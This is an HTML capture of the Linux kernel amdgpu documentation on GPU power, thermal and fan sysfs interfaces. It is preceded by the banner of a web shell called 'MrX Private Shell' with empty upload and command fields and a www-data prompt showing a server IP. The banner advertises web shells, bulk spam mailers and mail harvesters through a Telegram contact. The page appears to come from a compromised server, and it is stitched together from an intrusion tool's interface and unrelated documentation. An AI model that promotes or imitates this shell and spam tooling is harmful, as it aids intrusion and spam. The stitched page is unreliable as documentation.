__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.139: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>GPU Power/Thermal Controls and Monitoring &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="Misc AMDGPU driver information" href="driver-misc.html" />
    <link rel="prev" title="AMDGPU RAS Support" href="ras.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../../subsystem-apis.html#human-interfaces">Human interfaces</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../../input/index.html">Input Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../hid/index.html">Human Interface Devices (HID)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../sound/index.html">Sound Subsystem Documentation</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="../index.html">GPU Driver Developer’s Guide</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../fb/index.html">Frame Buffer</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../leds/index.html">LEDs</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/gpu/amdgpu/thermal.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="gpu-power-thermal-controls-and-monitoring">
<h1>GPU Power/Thermal Controls and Monitoring<a class="headerlink" href="#gpu-power-thermal-controls-and-monitoring" title="Link to this heading">¶</a></h1>
<section id="hwmon-interfaces">
<h2>HWMON Interfaces<a class="headerlink" href="#hwmon-interfaces" title="Link to this heading">¶</a></h2>
<p>The amdgpu driver exposes the following sensor interfaces:</p>
<ul class="simple">
<li><p>GPU temperature (via the on-die sensor)</p></li>
<li><p>GPU voltage</p></li>
<li><p>Northbridge voltage (APUs only)</p></li>
<li><p>GPU power</p></li>
<li><p>GPU fan</p></li>
<li><p>GPU gfx/compute engine clock</p></li>
<li><p>GPU memory clock (dGPU only)</p></li>
</ul>
<p>hwmon interfaces for GPU temperature:</p>
<ul class="simple">
<li><p>temp[1-3]_input: the on die GPU temperature in millidegrees Celsius
- temp2_input and temp3_input are supported on SOC15 dGPUs only</p></li>
<li><p>temp[1-3]_label: temperature channel label
- temp2_label and temp3_label are supported on SOC15 dGPUs only</p></li>
<li><p>temp[1-3]_crit: temperature critical max value in millidegrees Celsius
- temp2_crit and temp3_crit are supported on SOC15 dGPUs only</p></li>
<li><p>temp[1-3]_crit_hyst: temperature hysteresis for critical limit in millidegrees Celsius
- temp2_crit_hyst and temp3_crit_hyst are supported on SOC15 dGPUs only</p></li>
<li><p>temp[1-3]_emergency: temperature emergency max value(asic shutdown) in millidegrees Celsius
- these are supported on SOC15 dGPUs only</p></li>
</ul>
<p>hwmon interfaces for GPU voltage:</p>
<ul class="simple">
<li><p>in0_input: the voltage on the GPU in millivolts</p></li>
<li><p>in1_input: the voltage on the Northbridge in millivolts</p></li>
</ul>
<p>hwmon interfaces for GPU power:</p>
<ul class="simple">
<li><p>power1_average: average power used by the SoC in microWatts.  On APUs this includes the CPU.</p></li>
<li><p>power1_input: instantaneous power used by the SoC in microWatts.  On APUs this includes the CPU.</p></li>
<li><p>power1_cap_min: minimum cap supported in microWatts</p></li>
<li><p>power1_cap_max: maximum cap supported in microWatts</p></li>
<li><p>power1_cap: selected power cap in microWatts</p></li>
</ul>
<p>hwmon interfaces for GPU fan:</p>
<ul class="simple">
<li><p>pwm1: pulse width modulation fan level (0-255)</p></li>
<li><p>pwm1_enable: pulse width modulation fan control method (0: no fan speed control, 1: manual fan speed control using pwm interface, 2: automatic fan speed control)</p></li>
<li><p>pwm1_min: pulse width modulation fan control minimum level (0)</p></li>
<li><p>pwm1_max: pulse width modulation fan control maximum level (255)</p></li>
<li><p>fan1_min: a minimum value Unit: revolution/min (RPM)</p></li>
<li><p>fan1_max: a maximum value Unit: revolution/max (RPM)</p></li>
<li><p>fan1_input: fan speed in RPM</p></li>
<li><p>fan[1-*]_target: Desired fan speed Unit: revolution/min (RPM)</p></li>
<li><p>fan[1-*]_enable: Enable or disable the sensors.1: Enable 0: Disable</p></li>
</ul>
<dl class="simple">
<dt>NOTE: DO NOT set the fan speed via “pwm1” and “fan[1-*]_target” interfaces at the same time.</dt><dd><p>That will get the former one overridden.</p>
</dd>
</dl>
<p>hwmon interfaces for GPU clocks:</p>
<ul class="simple">
<li><p>freq1_input: the gfx/compute clock in hertz</p></li>
<li><p>freq2_input: the memory clock in hertz</p></li>
</ul>
<p>You can use hwmon tools like sensors to view this information on your system.</p>
</section>
<section id="gpu-sysfs-power-state-interfaces">
<h2>GPU sysfs Power State Interfaces<a class="headerlink" href="#gpu-sysfs-power-state-interfaces" title="Link to this heading">¶</a></h2>
<p>GPU power controls are exposed via sysfs files.</p>
<section id="power-dpm-state">
<h3>power_dpm_state<a class="headerlink" href="#power-dpm-state" title="Link to this heading">¶</a></h3>
<p>The power_dpm_state file is a legacy interface and is only provided for
backwards compatibility. The amdgpu driver provides a sysfs API for adjusting
certain power related parameters.  The file power_dpm_state is used for this.
It accepts the following arguments:</p>
<ul class="simple">
<li><p>battery</p></li>
<li><p>balanced</p></li>
<li><p>performance</p></li>
</ul>
<p>battery</p>
<p>On older GPUs, the vbios provided a special power state for battery
operation.  Selecting battery switched to this state.  This is no
longer provided on newer GPUs so the option does nothing in that case.</p>
<p>balanced</p>
<p>On older GPUs, the vbios provided a special power state for balanced
operation.  Selecting balanced switched to this state.  This is no
longer provided on newer GPUs so the option does nothing in that case.</p>
<p>performance</p>
<p>On older GPUs, the vbios provided a special power state for performance
operation.  Selecting performance switched to this state.  This is no
longer provided on newer GPUs so the option does nothing in that case.</p>
</section>
<section id="power-dpm-force-performance-level">
<h3>power_dpm_force_performance_level<a class="headerlink" href="#power-dpm-force-performance-level" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for adjusting certain power
related parameters.  The file power_dpm_force_performance_level is
used for this.  It accepts the following arguments:</p>
<ul class="simple">
<li><p>auto</p></li>
<li><p>low</p></li>
<li><p>high</p></li>
<li><p>manual</p></li>
<li><p>profile_standard</p></li>
<li><p>profile_min_sclk</p></li>
<li><p>profile_min_mclk</p></li>
<li><p>profile_peak</p></li>
</ul>
<p>auto</p>
<p>When auto is selected, the driver will attempt to dynamically select
the optimal power profile for current conditions in the driver.</p>
<p>low</p>
<p>When low is selected, the clocks are forced to the lowest power state.</p>
<p>high</p>
<p>When high is selected, the clocks are forced to the highest power state.</p>
<p>manual</p>
<p>When manual is selected, the user can manually adjust which power states
are enabled for each clock domain via the sysfs pp_dpm_mclk, pp_dpm_sclk,
and pp_dpm_pcie files and adjust the power state transition heuristics
via the pp_power_profile_mode sysfs file.</p>
<p>profile_standard
profile_min_sclk
profile_min_mclk
profile_peak</p>
<p>When the profiling modes are selected, clock and power gating are
disabled and the clocks are set for different profiling cases. This
mode is recommended for profiling specific work loads where you do
not want clock or power gating for clock fluctuation to interfere
with your results. profile_standard sets the clocks to a fixed clock
level which varies from asic to asic.  profile_min_sclk forces the sclk
to the lowest level.  profile_min_mclk forces the mclk to the lowest level.
profile_peak sets all clocks (mclk, sclk, pcie) to the highest levels.</p>
</section>
<section id="pp-table">
<h3>pp_table<a class="headerlink" href="#pp-table" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for uploading new powerplay
tables.  The file pp_table is used for this.  Reading the file
will dump the current power play table.  Writing to the file
will attempt to upload a new powerplay table and re-initialize
powerplay using that new table.</p>
</section>
<section id="pp-od-clk-voltage">
<h3>pp_od_clk_voltage<a class="headerlink" href="#pp-od-clk-voltage" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for adjusting the clocks and voltages
in each power level within a power state.  The pp_od_clk_voltage is used for
this.</p>
<p>Note that the actual memory controller clock rate are exposed, not
the effective memory clock of the DRAMs. To translate it, use the
following formula:</p>
<p>Clock conversion (Mhz):</p>
<p>HBM: effective_memory_clock = memory_controller_clock * 1</p>
<p>G5: effective_memory_clock = memory_controller_clock * 1</p>
<p>G6: effective_memory_clock = memory_controller_clock * 2</p>
<p>DRAM data rate (MT/s):</p>
<p>HBM: effective_memory_clock * 2 = data_rate</p>
<p>G5: effective_memory_clock * 4 = data_rate</p>
<p>G6: effective_memory_clock * 8 = data_rate</p>
<p>Bandwidth (MB/s):</p>
<p>data_rate * vram_bit_width / 8 = memory_bandwidth</p>
<p>Some examples:</p>
<p>G5 on RX460:</p>
<p>memory_controller_clock = 1750 Mhz</p>
<p>effective_memory_clock = 1750 Mhz * 1 = 1750 Mhz</p>
<p>data rate = 1750 * 4 = 7000 MT/s</p>
<p>memory_bandwidth = 7000 * 128 bits / 8 = 112000 MB/s</p>
<p>G6 on RX5700:</p>
<p>memory_controller_clock = 875 Mhz</p>
<p>effective_memory_clock = 875 Mhz * 2 = 1750 Mhz</p>
<p>data rate = 1750 * 8 = 14000 MT/s</p>
<p>memory_bandwidth = 14000 * 256 bits / 8 = 448000 MB/s</p>
<p>&lt; For Vega10 and previous ASICs &gt;</p>
<p>Reading the file will display:</p>
<ul class="simple">
<li><p>a list of engine clock levels and voltages labeled OD_SCLK</p></li>
<li><p>a list of memory clock levels and voltages labeled OD_MCLK</p></li>
<li><p>a list of valid ranges for sclk, mclk, and voltage labeled OD_RANGE</p></li>
</ul>
<p>To manually adjust these settings, first select manual using
power_dpm_force_performance_level. Enter a new value for each
level by writing a string that contains “s/m level clock voltage” to
the file.  E.g., “s 1 500 820” will update sclk level 1 to be 500 MHz
at 820 mV; “m 0 350 810” will update mclk level 0 to be 350 MHz at
810 mV.  When you have edited all of the states as needed, write
“c” (commit) to the file to commit your changes.  If you want to reset to the
default power levels, write “r” (reset) to the file to reset them.</p>
<p>&lt; For Vega20 and newer ASICs &gt;</p>
<p>Reading the file will display:</p>
<ul class="simple">
<li><p>minimum and maximum engine clock labeled OD_SCLK</p></li>
<li><p>minimum(not available for Vega20 and Navi1x) and maximum memory
clock labeled OD_MCLK</p></li>
<li><p>three &lt;frequency, voltage&gt; points labeled OD_VDDC_CURVE.
They can be used to calibrate the sclk voltage curve. This is
available for Vega20 and NV1X.</p></li>
<li><p>voltage offset(in mV) applied on target voltage calculation.
This is available for Sienna Cichlid, Navy Flounder, Dimgrey
Cavefish and some later SMU13 ASICs. For these ASICs, the target
voltage calculation can be illustrated by “voltage = voltage
calculated from v/f curve + overdrive vddgfx offset”</p></li>
<li><p>a list of valid ranges for sclk, mclk, voltage curve points
or voltage offset labeled OD_RANGE</p></li>
</ul>
<p>&lt; For APUs &gt;</p>
<p>Reading the file will display:</p>
<ul class="simple">
<li><p>minimum and maximum engine clock labeled OD_SCLK</p></li>
<li><p>a list of valid ranges for sclk labeled OD_RANGE</p></li>
</ul>
<p>&lt; For VanGogh &gt;</p>
<p>Reading the file will display:</p>
<ul class="simple">
<li><p>minimum and maximum engine clock labeled OD_SCLK</p></li>
<li><p>minimum and maximum core clocks labeled OD_CCLK</p></li>
<li><p>a list of valid ranges for sclk and cclk labeled OD_RANGE</p></li>
</ul>
<p>To manually adjust these settings:</p>
<ul>
<li><p>First select manual using power_dpm_force_performance_level</p></li>
<li><p>For clock frequency setting, enter a new value by writing a
string that contains “s/m index clock” to the file. The index
should be 0 if to set minimum clock. And 1 if to set maximum
clock. E.g., “s 0 500” will update minimum sclk to be 500 MHz.
“m 1 800” will update maximum mclk to be 800Mhz. For core
clocks on VanGogh, the string contains “p core index clock”.
E.g., “p 2 0 800” would set the minimum core clock on core
2 to 800Mhz.</p>
<p>For sclk voltage curve supported by Vega20 and NV1X, enter the new
values by writing a string that contains “vc point clock voltage”
to the file. The points are indexed by 0, 1 and 2. E.g., “vc 0 300
600” will update point1 with clock set as 300Mhz and voltage as 600mV.
“vc 2 1000 1000” will update point3 with clock set as 1000Mhz and
voltage 1000mV.</p>
<p>For voltage offset supported by Sienna Cichlid, Navy Flounder, Dimgrey
Cavefish and some later SMU13 ASICs, enter the new value by writing a
string that contains “vo offset”. E.g., “vo -10” will update the extra
voltage offset applied to the whole v/f curve line as -10mv.</p>
</li>
<li><p>When you have edited all of the states as needed, write “c” (commit)
to the file to commit your changes</p></li>
<li><p>If you want to reset to the default power levels, write “r” (reset)
to the file to reset them</p></li>
</ul>
</section>
<section id="pp-dpm">
<h3>pp_dpm_*<a class="headerlink" href="#pp-dpm" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for adjusting what power levels
are enabled for a given power state.  The files pp_dpm_sclk, pp_dpm_mclk,
pp_dpm_socclk, pp_dpm_fclk, pp_dpm_dcefclk and pp_dpm_pcie are used for
this.</p>
<p>pp_dpm_socclk and pp_dpm_dcefclk interfaces are only available for
Vega10 and later ASICs.
pp_dpm_fclk interface is only available for Vega20 and later ASICs.</p>
<p>Reading back the files will show you the available power levels within
the power state and the clock information for those levels. If deep sleep is
applied to a clock, the level will be denoted by a special level ‘S:’
E.g.,</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>S: 19Mhz *
0: 615Mhz
1: 800Mhz
2: 888Mhz
3: 1000Mhz
</pre></div>
</div>
<p>To manually adjust these states, first select manual using
power_dpm_force_performance_level.
Secondly, enter a new value for each level by inputing a string that
contains “ echo xx xx xx &gt; pp_dpm_sclk/mclk/pcie”
E.g.,</p>
<div class="highlight-bash notranslate"><div class="highlight"><pre><span></span><span class="nb">echo</span><span class="w"> </span><span class="s2">&quot;4 5 6&quot;</span><span class="w"> </span>&gt;<span class="w"> </span>pp_dpm_sclk
</pre></div>
</div>
<p>will enable sclk levels 4, 5, and 6.</p>
<p>NOTE: change to the dcefclk max dpm level is not supported now</p>
</section>
<section id="pp-power-profile-mode">
<h3>pp_power_profile_mode<a class="headerlink" href="#pp-power-profile-mode" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for adjusting the heuristics
related to switching between power levels in a power state.  The file
pp_power_profile_mode is used for this.</p>
<p>Reading this file outputs a list of all of the predefined power profiles
and the relevant heuristics settings for that profile.</p>
<p>To select a profile or create a custom profile, first select manual using
power_dpm_force_performance_level.  Writing the number of a predefined
profile to pp_power_profile_mode will enable those heuristics.  To
create a custom set of heuristics, write a string of numbers to the file
starting with the number of the custom profile along with a setting
for each heuristic parameter.  Due to differences across asic families
the heuristic parameters vary from family to family. Additionally,
you can apply the custom heuristics to different clock domains.  Each
clock domain is considered a distinct operation so if you modify the
gfxclk heuristics and then the memclk heuristics, the all of the
custom heuristics will be retained until you switch to another profile.</p>
</section>
<section id="pm-policy">
<h3>pm_policy<a class="headerlink" href="#pm-policy" title="Link to this heading">¶</a></h3>
<p>Certain SOCs can support different power policies to optimize application
performance. However, this policy is provided only at SOC level and not at a
per-process level. This is useful especially when entire SOC is utilized for
dedicated workload.</p>
<p>The amdgpu driver provides a sysfs API for selecting the policy. Presently,
only two types of policies are supported through this interface.</p>
<blockquote>
<div><p>Pstate Policy Selection - This is to select different Pstate profiles which
decides clock/throttling preferences.</p>
<p>XGMI PLPD Policy Selection - When multiple devices are connected over XGMI,
this helps to select policy to be applied for per link power down.</p>
</div></blockquote>
<p>The list of available policies and policy levels vary between SOCs. They can
be viewed under pm_policy node directory. If SOC doesn’t support any policy,
this node won’t be available. The different policies supported will be
available as separate nodes under pm_policy.</p>
<blockquote>
<div><p>cat /sys/bus/pci/devices/.../pm_policy/&lt;policy_type&gt;</p>
</div></blockquote>
<p>Reading the policy file shows the different levels supported. The level which
is applied presently is denoted by * (asterisk). E.g.,</p>
<div class="highlight-console notranslate"><div class="highlight"><pre><span></span><span class="go">cat /sys/bus/pci/devices/.../pm_policy/soc_pstate</span>
<span class="go">0 : soc_pstate_default</span>
<span class="go">1 : soc_pstate_0</span>
<span class="go">2 : soc_pstate_1*</span>
<span class="go">3 : soc_pstate_2</span>

<span class="go">cat /sys/bus/pci/devices/.../pm_policy/xgmi_plpd</span>
<span class="go">0 : plpd_disallow</span>
<span class="go">1 : plpd_default</span>
<span class="go">2 : plpd_optimized*</span>
</pre></div>
</div>
<p>To apply a specific policy</p>
<p>“echo  &lt;level&gt; &gt; /sys/bus/pci/devices/.../pm_policy/&lt;policy_type&gt;”</p>
<p>For the levels listed in the example above, to select “plpd_optimized” for
XGMI and “soc_pstate_2” for soc pstate policy -</p>
<div class="highlight-console notranslate"><div class="highlight"><pre><span></span><span class="go">echo &quot;2&quot; &gt; /sys/bus/pci/devices/.../pm_policy/xgmi_plpd</span>
<span class="go">echo &quot;3&quot; &gt; /sys/bus/pci/devices/.../pm_policy/soc_pstate</span>
</pre></div>
</div>
</section>
<section id="busy-percent">
<h3>*_busy_percent<a class="headerlink" href="#busy-percent" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for reading how busy the GPU
is as a percentage.  The file gpu_busy_percent is used for this.
The SMU firmware computes a percentage of load based on the
aggregate activity level in the IP cores.</p>
<p>The amdgpu driver provides a sysfs API for reading how busy the VRAM
is as a percentage.  The file mem_busy_percent is used for this.
The SMU firmware computes a percentage of load based on the
aggregate activity level in the IP cores.</p>
</section>
<section id="gpu-metrics">
<h3>gpu_metrics<a class="headerlink" href="#gpu-metrics" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for retrieving current gpu
metrics data. The file gpu_metrics is used for this. Reading the
file will dump all the current gpu metrics data.</p>
<p>These data include temperature, frequency, engines utilization,
power consume, throttler status, fan speed and cpu core statistics(
available for APU only). That’s it will give a snapshot of all sensors
at the same time.</p>
</section>
<section id="fan-curve">
<h3>fan_curve<a class="headerlink" href="#fan-curve" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for checking and adjusting the fan
control curve line.</p>
<p>Reading back the file shows you the current settings(temperature in Celsius
degree and fan speed in pwm) applied to every anchor point of the curve line
and their permitted ranges if changable.</p>
<p>Writing a desired string(with the format like “anchor_point_index temperature
fan_speed_in_pwm”) to the file, change the settings for the specific anchor
point accordingly.</p>
<p>When you have finished the editing, write “c” (commit) to the file to commit
your changes.</p>
<p>If you want to reset to the default value, write “r” (reset) to the file to
reset them</p>
<p>There are two fan control modes supported: auto and manual. With auto mode,
PMFW handles the fan speed control(how fan speed reacts to ASIC temperature).
While with manual mode, users can set their own fan curve line as what
described here. Normally the ASIC is booted up with auto mode. Any
settings via this interface will switch the fan control to manual mode
implicitly.</p>
</section>
<section id="acoustic-limit-rpm-threshold">
<h3>acoustic_limit_rpm_threshold<a class="headerlink" href="#acoustic-limit-rpm-threshold" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for checking and adjusting the
acoustic limit in RPM for fan control.</p>
<p>Reading back the file shows you the current setting and the permitted
ranges if changable.</p>
<p>Writing an integer to the file, change the setting accordingly.</p>
<p>When you have finished the editing, write “c” (commit) to the file to commit
your changes.</p>
<p>If you want to reset to the default value, write “r” (reset) to the file to
reset them</p>
<p>This setting works under auto fan control mode only. It adjusts the PMFW’s
behavior about the maximum speed in RPM the fan can spin. Setting via this
interface will switch the fan control to auto mode implicitly.</p>
</section>
<section id="acoustic-target-rpm-threshold">
<h3>acoustic_target_rpm_threshold<a class="headerlink" href="#acoustic-target-rpm-threshold" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for checking and adjusting the
acoustic target in RPM for fan control.</p>
<p>Reading back the file shows you the current setting and the permitted
ranges if changable.</p>
<p>Writing an integer to the file, change the setting accordingly.</p>
<p>When you have finished the editing, write “c” (commit) to the file to commit
your changes.</p>
<p>If you want to reset to the default value, write “r” (reset) to the file to
reset them</p>
<p>This setting works under auto fan control mode only. It can co-exist with
other settings which can work also under auto mode. It adjusts the PMFW’s
behavior about the maximum speed in RPM the fan can spin when ASIC
temperature is not greater than target temperature. Setting via this
interface will switch the fan control to auto mode implicitly.</p>
</section>
<section id="fan-target-temperature">
<h3>fan_target_temperature<a class="headerlink" href="#fan-target-temperature" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for checking and adjusting the
target tempeature in Celsius degree for fan control.</p>
<p>Reading back the file shows you the current setting and the permitted
ranges if changable.</p>
<p>Writing an integer to the file, change the setting accordingly.</p>
<p>When you have finished the editing, write “c” (commit) to the file to commit
your changes.</p>
<p>If you want to reset to the default value, write “r” (reset) to the file to
reset them</p>
<p>This setting works under auto fan control mode only. It can co-exist with
other settings which can work also under auto mode. Paring with the
acoustic_target_rpm_threshold setting, they define the maximum speed in
RPM the fan can spin when ASIC temperature is not greater than target
temperature. Setting via this interface will switch the fan control to
auto mode implicitly.</p>
</section>
<section id="fan-minimum-pwm">
<h3>fan_minimum_pwm<a class="headerlink" href="#fan-minimum-pwm" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for checking and adjusting the
minimum fan speed in PWM.</p>
<p>Reading back the file shows you the current setting and the permitted
ranges if changable.</p>
<p>Writing an integer to the file, change the setting accordingly.</p>
<p>When you have finished the editing, write “c” (commit) to the file to commit
your changes.</p>
<p>If you want to reset to the default value, write “r” (reset) to the file to
reset them</p>
<p>This setting works under auto fan control mode only. It can co-exist with
other settings which can work also under auto mode. It adjusts the PMFW’s
behavior about the minimum fan speed in PWM the fan should spin. Setting
via this interface will switch the fan control to auto mode implicitly.</p>
</section>
<section id="fan-zero-rpm-enable">
<h3>fan_zero_rpm_enable<a class="headerlink" href="#fan-zero-rpm-enable" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for checking and adjusting the
zero RPM feature.</p>
<p>Reading back the file shows you the current setting and the permitted
ranges if changable.</p>
<p>Writing an integer to the file, change the setting accordingly.</p>
<p>When you have finished the editing, write “c” (commit) to the file to commit
your changes.</p>
<p>If you want to reset to the default value, write “r” (reset) to the file to
reset them.</p>
</section>
<section id="fan-zero-rpm-stop-temperature">
<h3>fan_zero_rpm_stop_temperature<a class="headerlink" href="#fan-zero-rpm-stop-temperature" title="Link to this heading">¶</a></h3>
<p>The amdgpu driver provides a sysfs API for checking and adjusting the
zero RPM stop temperature feature.</p>
<p>Reading back the file shows you the current setting and the permitted
ranges if changable.</p>
<p>Writing an integer to the file, change the setting accordingly.</p>
<p>When you have finished the editing, write “c” (commit) to the file to commit
your changes.</p>
<p>If you want to reset to the default value, write “r” (reset) to the file to
reset them.</p>
<p>This setting works only if the Zero RPM setting is enabled. It adjusts the
temperature below which the fan can stop.</p>
</section>
</section>
<section id="gfxoff">
<h2>GFXOFF<a class="headerlink" href="#gfxoff" title="Link to this heading">¶</a></h2>
<p>GFXOFF is a feature found in most recent GPUs that saves power at runtime. The
card’s RLC (RunList Controller) firmware powers off the gfx engine
dynamically when there is no workload on gfx or compute pipes. GFXOFF is on by
default on supported GPUs.</p>
<p>Userspace can interact with GFXOFF through a debugfs interface (all values in
<cite>uint32_t</cite>, unless otherwise noted):</p>
<section id="amdgpu-gfxoff">
<h3><code class="docutils literal notranslate"><span class="pre">amdgpu_gfxoff</span></code><a class="headerlink" href="#amdgpu-gfxoff" title="Link to this heading">¶</a></h3>
<p>Use it to enable/disable GFXOFF, and to check if it’s current enabled/disabled:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>$ xxd -l1 -p /sys/kernel/debug/dri/0/amdgpu_gfxoff
01
</pre></div>
</div>
<ul class="simple">
<li><p>Write 0 to disable it, and 1 to enable it.</p></li>
<li><p>Read 0 means it’s disabled, 1 it’s enabled.</p></li>
</ul>
<p>If it’s enabled, that means that the GPU is free to enter into GFXOFF mode as
needed. Disabled means that it will never enter GFXOFF mode.</p>
</section>
<section id="amdgpu-gfxoff-status">
<h3><code class="docutils literal notranslate"><span class="pre">amdgpu_gfxoff_status</span></code><a class="headerlink" href="#amdgpu-gfxoff-status" title="Link to this heading">¶</a></h3>
<p>Read it to check current GFXOFF’s status of a GPU:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>$ xxd -l1 -p /sys/kernel/debug/dri/0/amdgpu_gfxoff_status
02
</pre></div>
